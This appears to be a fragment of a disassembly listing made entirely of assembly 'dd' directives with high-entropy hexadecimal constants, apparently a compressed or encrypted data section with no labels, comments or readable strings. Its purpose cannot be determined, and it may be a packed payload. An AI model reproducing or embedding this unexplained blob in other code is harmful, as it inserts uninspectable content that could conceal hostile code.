		dd 0DC256005h, 0E389E028h, 737CC040h, 1ADFCB3h,	4819DA30h
		dd 0CCA4A844h, 6FC316A5h, 20C081F6h, 18C3041Eh,	8B1C30DFh
		dd 0C5F84210h, 0D5BF970Fh, 284B41DDh, 7880E921h, 63FE481Ah
		dd 0DE503E07h, 498C838h, 0C0E0726Ah, 14D84746h,	90D4DE9Dh
		dd 72377802h, 0B0419145h, 0C4107135h, 8E60D99Dh, 2CE0C130h
		dd 0E07BE408h, 59A67B0Ch, 0C01410DFh, 0EF2C7C77h, 0D8E50A4Ch
		dd 0DE920C8Ch, 77010618h, 0E0FC9A69h, 787021B2h, 43204068h
		dd 3E95C809h, 206CE4B3h, 0E12B182h, 0D006D47Eh,	6A8E57Bh
		dd 0E76305EEh, 0E02060D0h, 446F4F3h, 439D91D3h,	0DC1C9032h
		dd 8E381A04h, 0C396010Ch, 71790172h, 39B59AC8h,	0C9FBDB8Fh
		dd 2C649B70h, 9066672Fh, 509D3DD0h, 34914CF7h, 0F3E9BF6Eh
		dd 9828176Ch, 75054C41h, 0E5D885ECh, 0A6137ADAh, 965BE4F8h
		dd 45066764h, 0C1248537h, 0D2CA459Ch, 0E020852h, 0BC0FBACh
		dd 833C41F4h, 38C24DDCh, 9E133C06h, 18EC07C3h, 9D9AB1EFh
		dd 98222Dh, 0AEB6DFE0h,	0E2A640F3h, 30CF59C2h, 13F0124Bh
		dd 9280C124h, 0F6C00028h, 26ED00ECh, 0DC536994h, 0E032A677h
		dd 0C31B381Ch, 5A1AC1FBh, 6A7810B1h, 35B7F8FBh,	5DC0A000h
		dd 2ADB1D79h, 99F0C9E9h, 0C320DC4Ch, 679200CFh,	3512E8BAh
		dd 3D4E0880h, 0F0C6C2C2h, 616B09ECh, 8C46B345h,	4700E3FAh
		dd 28728EAAh, 1EB33D3Eh, 7EB2C8h, 0EA81F6C2h, 0C93989A0h
		dd 59C3805Ah, 8C67D129h, 53250715h, 0C382E38Ah,	20C0105h
		dd 0A1079EAh, 8E83FC2h,	0CF81F803h, 0D8ABD2FCh,	0B002C8C1h
		dd 6AC50C2Dh, 0C7E7A9Dh, 382CEAF9h, 59EC5B1Ah, 620C7C6Ch
		dd 25BF4257h, 32B5C02h,	21EFEA25h, 0EC291407h, 0F4F75A67h
		dd 87EB7AB3h, 25058A00h, 13C00758h, 0E33DD441h,	32647415h
		dd 8C1E0DC2h, 0C491A78Eh, 80FCCE2h, 0A6DA8A58h,	10851BF8h
		dd 80BE252Dh, 31B3EB82h, 2533BC9h, 35F6EA0Ah, 1DAF036Ah
		dd 0FC0065D6h, 0E40ECA14h, 0DAF991EAh, 0E3DDBD96h, 4E18D918h
		dd 0C15EBF07h, 82E78A57h, 0EF3552C7h, 3A880686h, 88A5D30h
		dd 6022CBFh, 0E7C2787Bh, 7C7D3604h, 56577500h, 0CA37D669h
		dd 667ACC67h, 0BB005340h, 0F36388Eh, 315BD432h,	52F6E4D2h
		dd 22FBE4ECh, 1D8CD90Fh, 3CC56A25h, 10C10C00h, 0D91F1585h
		dd 0E8BE6110h, 8C503FB8h, 0EA18588Eh, 0B1207BFDh, 0F2FFF297h
		dd 0E8225B80h, 0B406808Fh, 0FA0F3A23h, 1A2F68A9h, 0F0E814B5h
		dd 714F3E00h, 5CF7825Fh, 0E0C0814h, 4D430FDEh, 0FF22C323h
		dd 0C3E60060h, 0EABEDEB8h, 0AAA3FBB7h, 0E90C1E84h, 48545652h
		dd 0DBC718BCh, 78E5CF5Ch, 0DC14AEEh, 0C2CA6E71h, 0B7690C06h
		dd 15638AE9h, 52DE7F56h, 848C7638h, 26C7880Ch, 0ED87535Dh
		dd 0E50F8AE5h, 15E8BE82h, 46EC68A0h, 9623BA81h,	7983A410h
		dd 0B8549E00h, 51E0F7F1h, 2DB001B1h, 59C8317Ch,	0CC35CD81h
		dd 0EA39FBF8h, 828E6044h, 3DAC7DC6h, 5F98DC38h,	47EBCB45h
		dd 42B2E1Eh, 0A8F3FC8h,	3EB8A67h, 0FB896AB8h, 0CDF95CC3h
		dd 5A1E9982h, 9794034Ch, 5D14E888h, 9D0693FFh, 72DC9AEAh
		dd 0AEEF811Eh, 10E1AD0Ch, 0F8A2AC5Eh, 483141D8h, 3440C6CFh
		dd 0EEBE0356h, 84123769h, 0F68202D8h, 3B41B63Eh, 22E9A45Ah
		dd 10358A29h, 69D15501h, 0A0DA4B5Dh, 0EAD3F8B1h, 654F6C21h
		dd 8A2B5214h, 8889DFE2h, 29DA1C38h, 1A34EA02h, 0BCADE088h
		dd 19F84148h, 4C550235h, 0F3C8ACD3h, 0AAEA0C9Eh, 4CC8F6E7h
		dd 0FD3D8B67h, 8DE58A94h, 32A5A3Bh, 6275E0D4h, 50583425h
		dd 63696702h, 0EC081EFCh, 861A247Bh, 0BD97B0EAh, 5488D782h
		dd 9B793B42h, 455D111Bh, 31E4440Bh, 24ED3FC6h, 1909E613h
		dd 850FD315h, 0F44EA376h, 25E3C660h, 0B951000Ch, 1EB7098Dh
		dd 67EE9C2h, 41E6F730h,	243EC1F3h, 17E1C2Eh, 773F0A90h
		dd 0A020312Ah, 6EE4D174h, 2B148A24h, 186FEC09h,	6919699Fh
		dd 5B20114Dh, 0C46112Eh, 208CEEC8h, 754A3197h, 0F56CB80Ch
		dd 2DC1246Dh, 0EF1552CDh, 4F832C1h, 3F0A634h, 3D486958h
		dd 4AF76A14h, 53678380h, 0F0CB36B7h, 9357E53Fh,	0AA202BE1h
		dd 7B462D0Ah, 14292924h, 3D8842A6h, 0EA140E44h,	5086DB1Ah
		dd 73120364h, 0A006FA5h, 1F2B718Ch, 0F5D455EAh,	22403DE5h
		dd 0B204F0C2h, 1D4FE67Ah, 0BD366414h, 0C23DAE9Fh, 60FE8A8Fh
		dd 2520D1AEh, 0FA65EA3Fh, 61004AD2h, 1E12331Fh,	0D9696E51h
		dd 0D92A5960h, 1D67A7EAh, 0D90F4CDh, 244C0846h,	1273D4F8h
		dd 0C6D022E3h, 0CBF8411h, 49543596h, 0A32F5A07h, 8FE48A07h
		dd 3AF3B1C6h, 897BB500h, 682D59E6h, 75AC9801h, 0AE0530B6h
		dd 0EA61B20Fh, 2732A524h, 82223CA4h, 0F0381AA8h, 0EA2B1704h
		dd 6A8C4A3Ch, 0A9658BCh, 3F3E152Ch, 213F9792h, 0A86B5002h
		dd 0EDA27C2Bh, 80713E41h, 0F2824214h, 2E58C988h, 54832BAh
		dd 87595B51h, 8771E01Eh, 0EA394F3Ah, 84C248DEh,	8907FEC0h
		dd 5CC12EF8h, 62E9315Bh, 29111018h, 4B8FAA7Ch, 9D6BE17Eh
		dd 2C3D8B90h, 3224ECE8h, 1189162h, 353A41EAh, 40E06F2Fh
		dd 55DD559h, 28B85789h,	5840E4EAh, 7ECB0282h, 4B393061h
		dd 0E809B041h, 2048391h, 0C2845BD2h, 0E4EA55C8h, 0EB81C438h
		dd 0A3AA9816h, 6D3C3212h, 7CE76D01h, 0A46048BCh, 12B4F41Ch
		dd 1ADF8865h, 5D80080Eh, 3ACF2D17h, 8EFC205h, 0A49792EAh
		dd 568F20EFh, 0FF2A037Ch, 81DF5E3h, 7619F94Ch, 0C1CA0EFFh
		dd 0C2A108E2h, 0D081D2F7h, 0CC5021DCh, 4B0CB1CBh, 0E52755EAh
		dd 0FB7A0BEFh, 0F7071BBAh, 5F32EF8h, 0CC4ACB40h, 0C198020Fh
		dd 7817B220h, 5AD01460h, 3236A434h, 5D480D06h, 1A41048Eh
		dd 87824AF4h, 0EABDC85Ch, 173048A0h, 37C4C59Dh,	0C28B0120h
		dd 705A49E5h, 9F3BEC77h, 0C13B015h, 40352D11h, 44390842h
		dd 0CC2A1275h, 4C94220Dh, 99547524h, 0C1ECA8E4h, 7CE6BB1Ah
		dd 77D1DF57h, 52665089h, 670D38BAh, 9C822472h, 985A66FAh
		dd 5D1840D7h, 5EF0020Bh, 0A70BB052h, 0E2BE807Eh, 7A517C4Ch
		dd 0D1DFFE2Ah, 0C14EF004h, 20C81D84h, 0C21002F6h, 9CEAF59Eh
		dd 2E5EF9C8h, 427E790Fh, 0E0FA6645h, 0F0B33B3Eh, 0DB927D98h
		dd 55C8CC3h, 0F9F3A086h, 386E0756h, 31D1F893h, 81592AEAh
		dd 36C1BC1Eh, 0FE302F2Eh, 0D9281310h, 0E3430020h, 0EA4AAC0Ah
		dd 0DD14844Ah, 3D688DB3h, 5499562h, 1138690Dh, 9FA2EAF3h
		dd 84E1D929h, 0DDE0304Fh, 0B3F78103h, 7E40FEAh,	1A52BAC0h
		dd 0A84B2F42h, 8F0243A9h, 326610C8h, 0A10DBEB2h, 0E22CB806h
		dd 0A2BFC54Ch, 803A610Ch, 0C9D6F2ACh, 0A0E91C01h, 8B660014h
		dd 8124090Ch, 6FAF04ECh, 0A3F20E6h, 0C4831DC7h,	37BD55E0h
		dd 62993B15h, 815D5B00h
		dd 0F164E6C3h, 0D3296F1Eh, 1C08EB14h, 447292E9h, 5E984050h
		dd 7CEC5CB0h, 80165930h, 287374C3h, 0DF1BB598h,	0C8186866h
		dd 0C18A2414h, 0F67DE906h, 5657C4FFh, 0B63CDEEh, 20D30124h
		dd 5F00330Eh, 0D12DD829h, 24A900Eh, 68241C8Bh, 8D697AB4h
		dd 0E79AE33Ch, 6F6E4240h, 0CD9094Ch, 22371BE9h,	3E600C1h
		dd 6C8CF681h, 527F641Ah, 8AB22371h, 0D7555Ch, 67D1465Bh
		dd 3CCF381h, 0E96CA065h, 0E7149E82h, 7BFE089h, 4CCE7B12h
		dd 295335E3h, 0ADBD1Ch,	2C8BE801h, 890A5524h, 0EC581E5h
		dd 33190621h, 6B03124h,	7B9AE90Dh, 34FF1CC7h, 0C444DBEAh
		dd 344CF31h, 28BEB080h,	0B45950CBh, 0F406C899h,	0E3037B1Fh
		dd 473416E9h, 8F31242Ch, 47D6104Ch, 4EC1D0BDh, 6D1ECE54h
		dd 503FF101h, 876F5E08h, 0B2E62E3Eh, 10042723h,	2A7F5612h
		dd 0C22050BAh, 0C3833D5Ch, 0F2D487A8h, 0B4500366h, 0DE02E9A2h
		dd 0CA017413h, 2B9CB800h, 48593B9Ah, 89284F83h,	2682885h
		dd 97BD2029h, 2C836084h, 970267FBh, 986A77B9h, 0B1EC820Fh
		dd 3EA4B326h, 0D91855B0h, 4C35184Fh, 5DFB381Dh,	0DAB22F40h
		dd 0A1C60980h, 0D5800B9Ah, 14911018h, 1F0CCA81h, 0C3C0A72h
		dd 0F7751F49h, 0AFEA0157h, 6053E30Eh, 0D1790424h, 0EF000F90h
		dd 81056D79h, 134978E7h, 3472EF8h, 0EDA7D703h, 5FFA01C0h
		dd 0D4908978h, 0E333A630h, 0F68F90C3h, 19DEFCBBh, 0C5F2015Bh
		dd 5280585Eh, 0E0F774F6h, 0EEA5148Bh, 0EF20CF22h, 0D1F7143Ah
		dd 3206EA49h, 0C113C4Dh, 0B0176818h, 59CD68h, 0E1554CB8h
		dd 5DE8292Eh, 67FEE915h, 41C620E4h, 8BBC1334h, 2B9079B7h
		dd 2CF25455h, 681243A6h, 0CE594695h, 0BE45190h,	7B2184Dh
		dd 0E2FE8259h, 448C5824h, 0DFD73214h, 8CA54E6h,	10945498h
		dd 0D95E8175h, 48323594h, 8E6C494Fh, 0EEB91031h, 1C782835h
		dd 2AB100C8h, 0F90143C6h, 30C43C8Bh, 7E45F7Eh, 7B570EA1h
		dd 0AC945A26h, 81A4E89Fh, 0C82FE76h, 0D476E99Ch, 0FBC09A4Ah
		dd 423E4839h, 196A305Bh, 0F91ABBDh, 0EB89215Dh,	68249D86h
		dd 0D0265376h, 8351032Ah, 1E120CBFh, 52AF4096h,	972C0CB6h
		dd 51F02800h, 0E5C0A3B5h, 0F5801906h, 0D8080C81h, 12C956EDh
		dd 5592043Dh, 57E4F5D9h, 495B8199h, 58CEF064h, 0F5012BC3h
		dd 6C083F5Eh, 0B2D0023Ch, 998F68A0h, 0CBEB94E6h, 0C31E0990h
		dd 6B5E480h, 6066C0B6h,	0C6E98709h, 0DD38206Dh,	4CED8145h
		dd 0F4C17B01h, 8060BC6Ch, 3893AA0Ch, 5485E9C7h,	5BB8F16h
		dd 7050344h, 0D832804Bh, 2260E054h, 9F04720Ch, 8A2949ECh
		dd 0E5C4F128h, 0E7685200h, 60AD7F19h, 87145AABh, 68039C2Fh
		dd 10082A24h, 0DFBE24B0h, 7CA3043Fh, 805EF231h,	93432513h
		dd 0DD41648h, 0BADF3C71h, 0FC7012D9h, 0E957097Fh, 0FA0416Ch
		dd 0D5564B36h, 0E2D63124h, 4944A03Fh, 3818BF87h, 0DAF77AEAh
		dd 2E38148h, 1A1E79Dh, 1A344CD7h, 2AF0BBE9h, 0A2BA6A62h
		dd 41DDBB88h, 0B019A568h, 0E95128C3h, 400C4107h, 22690846h
		dd 8631547Bh, 55850DFh,	55A2544h, 149D40A1h, 4528D0F5h
		dd 0A5E55928h, 545309EFh, 6B607003h, 38C66D07h,	1F36E1Dh
		dd 8CEEC2DEh, 30E9C308h, 0F22D62A1h, 82856F7h, 0B606C752h
		dd 4A720A13h, 346C02B2h, 0D0318F93h, 0D2C9A183h, 0AD2D8E04h
		dd 47817C7Ah, 52723BE0h, 8420DE94h, 69D2EEDEh, 0EF087452h
		dd 0E2AA2689h, 39C9F420h, 403F20CDh, 38131C18h,	0D03B330Ch
		dd 556187ECh, 0FB02EBC1h, 0EFFD7D98h, 5EE6376Ch, 288DCC6Ch
		dd 0EC2C68B0h, 97447A61h, 94905809h, 7E1F0F2Dh,	3CCC1A3Eh
		dd 9904C577h, 627F4292h, 0C508382Dh, 9BE9885Eh,	76F8664Dh
		dd 0C8FA8134h, 755C3212h, 0E016E1D6h, 6523134h,	525C8E43h
		dd 0C6889153h, 0B641F3C9h, 798E34F4h, 0AED48BF7h, 0C2C78181h
		dd 0DB10E92Ah, 546251F0h, 29EF96A0h, 994F9D00h,	435FFB31h
		dd 0A9E35CC1h, 62F71F73h, 5ADC265Bh, 78DEAC80h,	0C10445B3h
		dd 0D4E905E7h, 0E65B88h, 37647109h, 38DCB850h, 70D32558h
		dd 96EAED68h, 685057C0h, 0DC2602A9h, 0FCE95803h, 0C7806568h
		dd 0F9089D0Eh, 5DF1C65Bh, 0E94B3D06h, 0C3BD252Ah, 0E289528Ch
		dd 2617EAD9h, 8A3515D5h, 12325213h, 1B50E56Eh, 0C0167BF7h
		dd 0BB355002h, 41062995h, 0DE2AF7ACh, 0FCFB0CF3h, 0C901B410h
		dd 5390E480h, 0A8877CB7h, 0B7DFF64Eh, 0FC3091F7h, 83C0C25Bh
		dd 34AEAC0h, 0DD61D061h, 38B94881h, 75495F56h, 14A26091h
		dd 4B0B0B91h, 657C3059h, 1C5E2823h, 43F935A4h, 9812851Dh
		dd 0FD9291D3h, 80245F76h, 57924778h, 1C9F6921h,	62B15903h
		dd 58956256h, 3C8785CBh, 679ECD6h, 90E9CDB1h, 0F3002B81h
		dd 0F91D7B9Ch, 9921BB68h, 9350BF5Ch, 873214A8h,	0B18E436h
		dd 76728145h, 1077473Dh, 66032BE1h, 52C8BE0Fh, 315A5489h
		dd 2C9D3323h, 0DC353DEAh, 93448712h, 0F4D95D98h, 0B848CB72h
		dd 504C0385h, 0F3D1899Fh, 9B95114h, 64C82913h, 159C893Bh
		dd 1A005AA6h, 0F709C1C7h, 4C6B8ED2h, 2A6808C2h,	5C4B761Ch
		dd 41106154h, 0F07E502Dh, 35AD7D05h, 8680D0F7h,	73A92173h
		dd 5BD80114h, 97CBD55h,	89CE414Eh, 0D5A017Bh, 3ED37FC4h
		dd 0F0104025h, 18544C27h, 890D1766h, 91EB90E7h,	0C9EF9010h
		dd 21F8923Ch, 66EEB3CFh, 0E0CD3A70h, 120EDE8h, 0EA33448Ch
		dd 0E13E7316h, 56C2F00Ch, 12ACB82Ah, 4D8EE9DAh,	0CE572945h
		dd 0DFF79190h, 0C68804D8h, 7CCB3B71h, 26F2777Bh, 14C5A73Ch
		dd 290BAFBDh, 1E88FD01h, 0CB5F1408h, 74F372Eh, 0F0D1F71Bh
		dd 0AD6EAAC9h, 0E8E9D8F7h, 0E0AFFF3Eh, 82499046h, 51F69A50h
		dd 0C69208EDh, 66E94F95h, 91E50417h, 0A51BCFh, 3BECBE07h
		dd 2CE93CC2h, 7861314Bh, 0E5334F7Fh, 62126809h,	39C7B01Bh
		dd 0A90647CAh, 39A02683h, 4A8291A1h, 0C72703BFh, 0AD803BEBh
		dd 2249F818h, 0C01E11B6h, 0C58A03E6h, 0BF81E20Bh, 6DBE1EB1h
		dd 0BAD8C8ECh, 2CDF772Ch, 86F09349h, 38D408ABh,	0B90F1330h
		dd 0E098B353h, 6777F6D8h, 62561635h, 0D0C60F83h, 881F73FAh
		dd 6D52D101h, 70054A53h, 6F5F7B0Ch, 1D97368Dh, 0D4E3CBD8h
		dd 68828B86h, 44660280h, 5F5FE926h, 558DC39Dh, 7C980CD9h
		dd 0EEC157A7h, 0B5680509h, 0E1C464h, 0DD783EBFh, 5FFE3108h
		dd 9690F3F6h, 71A1025Ch, 7FB0C6A4h, 4E1C6E20h, 341D3758h
		dd 0D38083E5h, 78AF3049h, 31B6F754h, 545EF12Ch,	4BC80CE4h
		dd 9F30178Bh, 0E9D00E0Eh, 0BA658073h, 0A5097C7Bh, 6454293Eh
		dd 0E95008BAh, 26241A82h, 0CC76A601h, 0E631C15Ch, 6010EB40h
		dd 916193Eh, 0A79186C2h, 9240FC7h, 33D1613Fh, 631509Bh
		dd 55CA0D54h, 0AA246DA2h, 21B7F098h, 7604D94Ah,	27D7565Bh
		dd 4390FD95h, 7815DEAh,	9E2EF5E2h, 0D93C1F31h, 0D2F708D5h
		dd 96ABE1h, 658112B9h, 42CC4061h, 2C283D8h, 9CD9AB6Bh
		dd 9EBC49D1h, 4D895384h, 4DD76485h, 159A7D5Ah, 24798A61h
		dd 0D47AC731h, 0C663630h, 13CEFF41h, 13F8010Dh,	4D6F9C11h
		dd 186A3F96h, 82EC8A0Dh, 5C2BC829h, 5C5A2DFh, 0C77EBC68h
		dd 17B4047Ah, 499C11D6h, 0ACCE88EAh, 0E4A14306h, 0B7A32A58h
		dd 0A75144E8h, 31267E91h, 0D58EF515h, 8EDD694Dh, 907FE037h
		dd 9A23E9E1h, 0C3329C0h, 31C11FE7h, 527939E4h, 0EEA2310Eh
		dd 359D114h, 0A5C629C2h, 8C5458ACh, 0E902049Eh,	1008AE2h
		dd 6AC381FBh, 4BEFF9E0h
		dd 8A6809ADh, 53C7C439h, 0D510BAB8h, 0BC014A3Ah, 286DDEECh
		dd 584CEA34h, 5AB59643h, 7F659583h, 0A12606A1h,	8A0089CAh
		dd 2D25AD7Ch, 10BC686h,	0F2A2D8C1h, 3666EB82h, 0E1C15F05h
		dd 5575DBE6h, 4A5E6C92h, 885F059Dh, 510128CCh, 0C830DBB1h
		dd 5BB22DA5h, 4449ADCEh, 0C1800CA4h, 0DF6306FFh, 5EFA493Ah
		dd 0B2D1A2E4h, 1844207Bh, 0E94D2BE9h, 231F18C1h, 78FE5960h
		dd 0CD0845FDh, 58F41926h, 24D3D208h, 0CC4C4504h, 0C575F0Ah
		dd 4EAAC6EBh, 0FB027FB0h, 0C1781F64h, 9BFF8FE1h, 716F824h
		dd 304A7819h, 542F3E7h,	922E5A39h, 2D146946h, 18880907h
		dd 4ED06858h, 0B82EC0DCh, 97DA6ECAh, 866568F4h,	2EA75CD6h
		dd 0E669569h, 683ACAB2h, 84FACDE1h, 0E410CBE8h,	9416D38h
		dd 0F8476522h, 0C0804B3Ah, 60360E0h, 53222C07h,	5C38839h
		dd 0B2E95BDAh, 806BB797h, 0F872C016h, 4DA6F80Ch, 7667363Dh
		dd 0E0C4945Dh, 0AD7266B6h, 63E82D39h, 0D1197808h, 92969405h
		dd 5E0A56EAh, 1A0E0322h, 30E96027h, 1C0334E1h, 0DB1F5A96h
		dd 686FF983h, 5B0B00F7h, 0E95FFB29h, 0F6D21B08h, 0C2831A28h
		dd 149BE90Ch, 6812F6E6h, 808849C3h, 5CDF59E9h, 0CCEE291Dh
		dd 217CE603h, 395AD124h, 16460201h, 8C40C14Fh, 2DD8F7h
		dd 60400D09h, 0B4014735h, 0BB531B00h, 4A0F052h,	99D85129h
		dd 197266D5h, 764CC753h, 309AB9A0h, 3134E58h, 6A0743C9h
		dd 5AF1B048h, 0F7D2645h, 8992C94h, 10EDDD8h, 0E0DCE9DEh
		dd 2BABE01h, 8930844Bh,	66D85EF7h, 699D3E6h, 5EBC161h
		dd 38BE4E30h, 21373E8Eh, 0A43BB4ADh, 6D1B837Fh,	9BF34C6Fh
		dd 0B0D1FBE8h, 0ECD0F740h, 0E7E33BA4h, 0A0C50994h, 32BF9754h
		dd 0EF614586h, 4758F57Ah, 23F30234h, 1C8970C6h,	43322D05h
		dd 0DC21506h, 9D5652Fh,	0B0828864h, 2C4ACA80h, 54CB2B60h
		dd 6F092AC2h, 703C411Ch, 4FE921ACh, 6836C0B7h, 369A0778h
		dd 1A5E7B20h, 2BC62166h, 10A3EB64h, 0F681E699h,	2204F66h
		dd 906CF664h, 23C938C3h, 88EDB47Bh, 31096059h, 14E929DAh
		dd 0C083248Bh, 7C8D0845h, 0A53B4F24h, 5E800064h, 9858C331h
		dd 7B63E233h, 5BEFB886h, 6821305Ch, 93C9405Fh, 89522011h
		dd 96215BD9h, 94E8AA8Dh, 0CF01619Bh, 0D4382C59h, 0A0A3223h
		dd 4F81795Eh, 50331BE4h, 0A9558F61h, 2B6AAA53h,	0A59DC25Ah
		dd 925631D9h, 5A2940CAh, 15802FB3h, 2BCC47F5h, 30315B26h
		dd 1CC9918Bh, 6D8341FEh, 68D4102Ch, 5B044248h, 0C37CEF43h
		dd 165B3061h, 0E58BBC28h, 0E90A3F63h, 938D6937h, 68B5CCF5h
		dd 14064726h, 58B18169h, 0BED83D4Ah, 0C2B503ACh, 5AD601DBh
		dd 0E9533C61h, 0A7922B0Bh, 31520AC4h, 0F514A5EBh, 2917DA9Bh
		dd 19D35C1h, 2290A706h,	0A43E1A0Fh, 0F9DAC657h,	31AD024Ah
		dd 7B5A68D8h, 0F320CD51h, 122FF400h, 3A90BF63h,	31502805h
		dd 0B8E915F8h, 0A660A6E0h, 0BD230EBEh, 11212A26h, 78CF8103h
		dd 0C175981Bh, 4B064CE7h, 0DD2AEDE0h, 4452C4Ch,	317E0A66h
		dd 7BC3D6C4h, 6D160308h, 5599DCBDh, 1B4E9AA0h, 0EF295403h
		dd 353C2FE9h, 311C594Ch, 3D6E8C14h, 2B61D24h, 49546807h
		dd 0E984A18Bh, 0BAA0C88Eh, 4F20208Fh, 5FC66813h, 35489DCBh
		dd 0D2503801h, 44D7017Dh, 420818B8h, 4EDFD5B6h,	0C1BC507h
		dd 0B84D65B3h, 28A4BF5h, 0EA01C614h, 2048DBE9h,	6638EE28h
		dd 40F03159h, 533A15ACh, 89B692D2h, 0C5065A58h,	3C0C2B75h
		dd 72A1000Ch, 0CD012C7Dh, 1C5B95E9h, 0DC043239h, 35E960A4h
		dd 0A2171D28h, 408EA61Ch, 1302BB61h, 299C8FEDh,	495151DDh
		dd 7932300Bh, 5F0F4062h, 535FF9C6h, 0C9E95C16h,	0B05087C0h
		dd 72C018Fh, 0C2301E04h, 10602E58h, 96E2E1E9h, 0E4256F3Fh
		dd 2853D24Eh, 0AD20C9FAh, 0E02598C7h, 4D1C3038h, 565AD482h
		dd 8CBE7704h, 6C80EE5Eh, 96E2E9FEh, 3FEB2329h, 261D5B84h
		dd 84B98406h, 8B080CC8h, 7A4F718Dh, 0C1699A29h,	7CDD7C62h
		dd 2D3563E0h, 26FD3003h, 8D51E940h, 980C71F5h, 5BF7BCDAh
		dd 555C6A24h, 0FB2CAF2Ch, 0E92C7038h, 41AC34D1h, 48EDA53Bh
		dd 0F38725Dh, 49EF5AF3h, 0D950C289h, 36B1B901h,	0D9F75E0Dh
		dd 0B8029F20h, 9667878h, 0CB892B93h, 6D6B9420h,	0C2FE256Ah
		dd 4119511Ch, 83EA298Bh, 28EFAA97h, 0F88EE75h, 23452C09h
		dd 83B838AAh, 3302EB83h, 631C837h, 0AE0F5969h, 0C6DD8B0Bh
		dd 565AE76Eh, 20F3CD33h, 2828D226h, 6B99F7CBh, 8586E961h
		dd 0D010413Dh, 738920FAh, 0C53024B0h, 68528280h, 0C67974F0h
		dd 90574549h, 751793C2h, 5B545C05h, 0D4A5BC4h, 2986E4A5h
		dd 0F1C58C1h, 54126C6h,	0EB0ACB2Fh, 0E591808h, 2B3064E4h
		dd 23492A2Dh, 0ED477229h, 10081204h, 0A05814D1h, 35A0D862h
		dd 32881856h, 1257261Ah, 58B6E0AAh, 3078BB0Ch, 5D712295h
		dd 0B8941CBh, 72567DC1h, 4FC2CC2Ch, 0B412B083h,	35DA8E1h
		dd 3F1B076Eh, 1D9182Dh,	3B2860h, 48CD28B7h, 35700Dh, 54024E1h
		dd 55C2ECBDh, 58C53101h, 5973E952h, 3C74CC54h, 98020ADh
		dd 51E2D1C2h, 97D9685Ch, 4009EE98h, 0E609D061h,	8F13C680h
		dd 0C3C58B8Eh, 0E2ECE3B3h, 0DC0E1C4h, 51A315A7h, 1014C5A8h
		dd 77E0DD21h, 90B90C02h, 0CBE83159h, 803816A1h,	1DF280Ah
		dd 559C82Fh, 0E58C87F4h, 1A06D2D2h, 0A5062934h,	7986974h
		dd 0F932BE09h, 0F7FD83Ch, 1839692Ch, 0A1E1EAA7h, 0E9E9124Ch
		dd 276B724Ah, 6670002Bh, 0A1DEB151h, 36634BCCh,	5C5A531Dh
		dd 2BF0E8D0h, 1F557870h, 84870B56h, 9A03F229h, 6DD36BE1h
		dd 0E20497E6h, 657F2256h, 2E51B480h, 312917B8h,	0D34151F2h
		dd 57EBE9A0h, 5DEC3392h, 0C150DA62h, 0F72160EFh, 363A1F4Ah
		dd 0C01C970Ah, 50595AD1h, 0D748FCF0h, 0FC2B7F2h, 0E3B7937h
		dd 0E343D488h, 0DCB35058h, 5BB3E5C3h, 0DB7128E2h, 0B9CF70CEh
		dd 60BA645Ah, 0BB35F3CCh, 0B3012F28h, 5E5B0B09h, 8418F3Dh
		dd 0BA04877Ch, 0C7062226h, 0F3315576h, 0D55E2E12h, 0EC3E1CE2h
		dd 5E960955h, 0A28034F4h, 7D924616h, 30993151h,	4804F325h
		dd 0CE294167h, 590C0810h, 5EE3F089h, 92C2D191h,	0A68F6406h
		dd 0F8E82037h, 1905AD03h, 0AA04A549h, 0A3D60B9h, 80D59001h
		dd 9D2B6807h, 0DABF8998h, 436D7405h, 58C0F74Fh,	2C466CEFh
		dd 0B0DA3340h, 502D5D2Ch, 413A1226h, 481C08h, 1F24CB81h
		dd 0E3EC68EEh, 0DD4B67FEh, 9A1C980h, 7F4BB8A3h,	3F5918C3h
		dd 8F9D0C43h, 292613E4h, 18125BD9h, 5028BBE1h, 251EB2B5h
		dd 42544CA6h, 0B532740h, 836EB8A6h, 0AC0291EFh,	3A2D42E6h
		dd 74CB3746h, 7F060755h, 795E10F2h, 1EFCA446h, 78D50164h
		dd 20EA4E9h, 4FD7795Eh,	0B2193EBh, 0CCFEEE80h, 284C9EF6h
		dd 47B81A4Bh, 87AE071Ah, 400000E9h, 24E1F51Fh, 2624F021h
		dd 0C00BE038h, 972E850Fh, 1140D08Ch, 1C4EEE56h,	64E9D1F7h
		dd 228DA0FAh, 0AFB001BFh, 4A0CBD6Ch, 25689921h,	0E9127D14h
		dd 684976BAh, 93F080C6h, 0D432C314h, 7C2AED10h,	0E7C004ABh
		dd 0C7CFFE05h, 0F26754C8h, 5FB30054h, 28E9FDB1h, 718D370h
		dd 0E4BBF76Ch, 3F778348h, 681319EEh, 62672F60h,	7B46CCF2h
		dd 39AA6293h, 40802C0Ch, 88906668h, 1FF3E62Eh, 845EF20Bh
		dd 411F15F9h, 7249DAC9h, 0BBF1D87Fh, 9A291113h,	0AF6060B1h
		dd 0C768128Dh, 4A560F45h, 807DFF2Eh, 0E22A76F3h, 7F8C158h
		dd 55DBF724h
		dd 3A565001h, 1664098Eh, 45FF2EDh, 0EE017FDFh, 40D6C15Dh
		dd 0CED24825h, 31600C7Dh, 0BB63927Ch, 404D9620h, 0F394A6Fh
		dd 8C9C2EB4h, 189A99Eh,	5678BCAh, 0EDE28732h, 9A527A7Fh
		dd 1AF60299h, 111A0FCh,	59392A40h, 4E305C81h, 48C4BA2Dh
		dd 35A45F54h, 0DD9B2A9h, 5B25E95Ch, 6584C041h, 6E5D0105h
		dd 0D85AF408h, 3024C9ECh, 4E3C06E1h, 0C999A512h, 246F1E24h
		dd 0AFF7A16h, 1066DF7h,	2E1B8AC3h, 0EBAD3423h, 425F08A1h
		dd 0F60380D8h, 108EB9D7h, 77E40EA5h, 933C4631h,	1F3B2FEBh
		dd 871FFF22h, 0C3E5D761h, 80F8B491h, 0E7E0E1F4h, 0C64A8990h
		dd 0ABE7388Dh, 0D9E752F9h, 0E8C15CC1h, 0F1C8E912h, 9EC7F9F8h
		dd 0FE90F709h, 5F774F4Ch, 0EC534176h, 0ECFC7BDBh, 0BA911BF6h
		dd 255B18BCh, 0FE2CA27h, 426CAC06h, 5D5A3D85h, 0C70293D4h
		dd 3FF99ACAh, 1114BB1Ah, 161EE804h, 0B737950Ah,	0FEFEB49Ch
		dd 0C3BECD54h, 680FD812h, 19785F0h, 56A3B44h, 0D4D106FAh
		dd 23008235h, 412D18C3h, 9EA57B07h, 42AC40E3h, 77902547h
		dd 241E1002h, 5CDE0913h, 4125261Dh, 2087F529h, 0D626F76Eh
		dd 7603564Eh, 2728A16h,	7569550Ch, 0BD4801FBh, 0EA885F9Fh
